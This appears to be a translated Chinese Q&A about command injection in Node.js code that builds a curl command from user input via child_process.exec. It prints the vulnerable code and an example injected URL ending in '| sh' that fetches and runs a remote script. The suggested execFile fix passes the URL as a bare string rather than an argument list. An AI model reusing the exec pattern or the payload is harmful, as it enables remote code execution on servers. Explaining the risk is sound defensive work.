在 Linux (Ubuntu) 服务器中保护 node.js exec 命令行

Question

使用 Node.js 执行命令行的代码示例。它将返回页面的完整 HTML。

const getPageHtmlResponse = (fullUrl) => {//fullUrl is come from input form in web page
return new Promise((resolve, reject) => {
    try {
        const exec = require('child_process').exec
        exec("curl "+fullUrl, (err, stdout, stderr) => resolve(stdout))
    } catch (error) {
        resolve(false)
    }
});
}

1. 此代码是否不安全？我的意思是黑客可以在上面注入另一个命令来操纵系统或服务器？

2. 如果是，有什么好方法可以逃脱或使其安全？

Answer 1

如果用户编写脚本并将其放在http://blahblah.blah/b 上，而不是这个 URL，它提供了一个棘手的 URL：http://blahblah.blah/b | sh，现在您的代码将创建一个进程并执行 curl http://blahblah.blah/b | sh。脚本可以是任何东西。 您应该考虑的一件事是，要验证用户输入的 URL，检查它是否包含额外的命令，并且是唯一的 url。

Answer 2

不要使用child_process.exec()。从用户输入中巧妙设计的字符串会从您的程序中启动任意代码，这是您希望避免的。

改为使用child_process.execFile()，如下所示：

const getPageHtmlResponse = (fullUrl) => {//fullUrl is come from input form in web page

return new Promise((resolve, reject) => {
    try {
        const execFile = require('child_process').execFile
        execFile("/path/to/curl", fullUrl, (err, stdout, stderr) => resolve(stdout))
    } catch (error) {
        resolve(false)
    }
});
}

execFile 采用预先解析的命令列表，不启动中间 shell，因此通过不受信任的 URL 启动程序的风险较小。

另见

child_process.execFile